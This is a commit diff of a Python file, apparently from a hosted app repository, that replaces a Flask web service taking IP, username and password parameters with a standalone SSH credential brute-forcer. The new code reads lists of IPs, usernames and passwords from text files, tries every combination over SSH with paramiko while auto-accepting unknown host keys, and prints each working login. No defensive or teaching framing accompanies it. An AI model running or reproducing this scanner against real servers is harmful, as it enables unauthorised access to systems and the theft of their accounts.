Update app.py
Browse files
app.py
CHANGED
|
@@ -1,58 +1,41 @@
|
|
| 1 |
-
import
|
| 2 |
-
import
|
| 3 |
-
from time import sleep
|
| 4 |
-
import requests
|
| 5 |
import asyncio
|
| 6 |
-
import threading
|
| 7 |
-
import time
|
| 8 |
-
from flask import Flask, request
|
| 9 |
-
app = Flask(__name__)
|
| 10 |
|
| 11 |
-
|
|
|
|
|
|
|
| 12 |
|
| 13 |
-
|
| 14 |
-
|
| 15 |
-
|
| 16 |
-
|
| 17 |
-
|
| 18 |
-
async def ejra(ip,user,pas,task_id):
|
| 19 |
-
task_ids[task_id] = asyncio.create_task(test_function(ip,user,pas,task_id))
|
| 20 |
|
| 21 |
-
def
|
| 22 |
-
|
| 23 |
-
|
| 24 |
-
task.cancel()
|
| 25 |
-
del task_ids[task_id]
|
| 26 |
-
print(f"Task {task_id} stopped.")
|
| 27 |
-
else:
|
| 28 |
-
print(f"Task {task_id} not found.")
|
| 29 |
-
|
| 30 |
-
|
| 31 |
-
@app.route('/', methods=['GET'])
|
| 32 |
-
def index():
|
| 33 |
-
return "hi"
|
| 34 |
-
|
| 35 |
-
@app.route('/go', methods=['GET'])
|
| 36 |
-
def go():
|
| 37 |
-
ip = request.args.get('ip')
|
| 38 |
-
user = request.args.get('user')
|
| 39 |
-
pas = request.args.get('pas')
|
| 40 |
|
| 41 |
-
|
| 42 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 43 |
|
| 44 |
-
|
| 45 |
|
| 46 |
-
|
| 47 |
-
|
| 48 |
-
|
| 49 |
-
|
| 50 |
-
task = task_ids[task_id]
|
| 51 |
-
task.cancel()
|
| 52 |
-
del task_ids[task_id]
|
| 53 |
-
return f"Task {task_id} stopped."
|
| 54 |
-
else:
|
| 55 |
-
return f"Task {task_id} not found."
|
| 56 |
|
| 57 |
-
|
| 58 |
-
app.run(host="0.0.0.0", port=7860)
|
|
|
|
| 1 |
+
import paramiko
|
| 2 |
+
import socket
|
|
|
|
|
|
|
| 3 |
import asyncio
|
|
|
|
|
|
|
|
|
|
|
|
|
| 4 |
|
| 5 |
+
IP_LIST = []
|
| 6 |
+
USERNAME_LIST = []
|
| 7 |
+
PASSWORD_LIST = []
|
| 8 |
|
| 9 |
+
def read_file_lines(filename):
|
| 10 |
+
with open(filename, 'r') as file:
|
| 11 |
+
lines = file.readlines()
|
| 12 |
+
return [line.strip() for line in lines]
|
|
|
|
|
|
|
|
|
|
| 13 |
|
| 14 |
+
async def test_credentials(ip, username, password):
|
| 15 |
+
client = paramiko.SSHClient()
|
| 16 |
+
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 17 |
|
| 18 |
+
try:
|
| 19 |
+
client.connect(ip, username=username, password=password, timeout=5)
|
| 20 |
+
print(f"Valid credentials found for IP: {ip}, Username: {username}, Password: {password}")
|
| 21 |
+
client.close()
|
| 22 |
+
except paramiko.AuthenticationException:
|
| 23 |
+
pass
|
| 24 |
+
except socket.error:
|
| 25 |
+
pass
|
| 26 |
+
|
| 27 |
+
async def scan_ips(ip_list):
|
| 28 |
+
tasks = []
|
| 29 |
+
for ip in ip_list:
|
| 30 |
+
for username in USERNAME_LIST:
|
| 31 |
+
for password in PASSWORD_LIST:
|
| 32 |
+
tasks.append(test_credentials(ip, username, password))
|
| 33 |
|
| 34 |
+
await asyncio.gather(*tasks)
|
| 35 |
|
| 36 |
+
if __name__ == "__main__":
|
| 37 |
+
IP_LIST = read_file_lines("ips.txt")
|
| 38 |
+
USERNAME_LIST = read_file_lines("user.txt")
|
| 39 |
+
PASSWORD_LIST = read_file_lines("pass.txt")
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 40 |
|
| 41 |
+
asyncio.run(scan_ips(IP_LIST))
|
|
|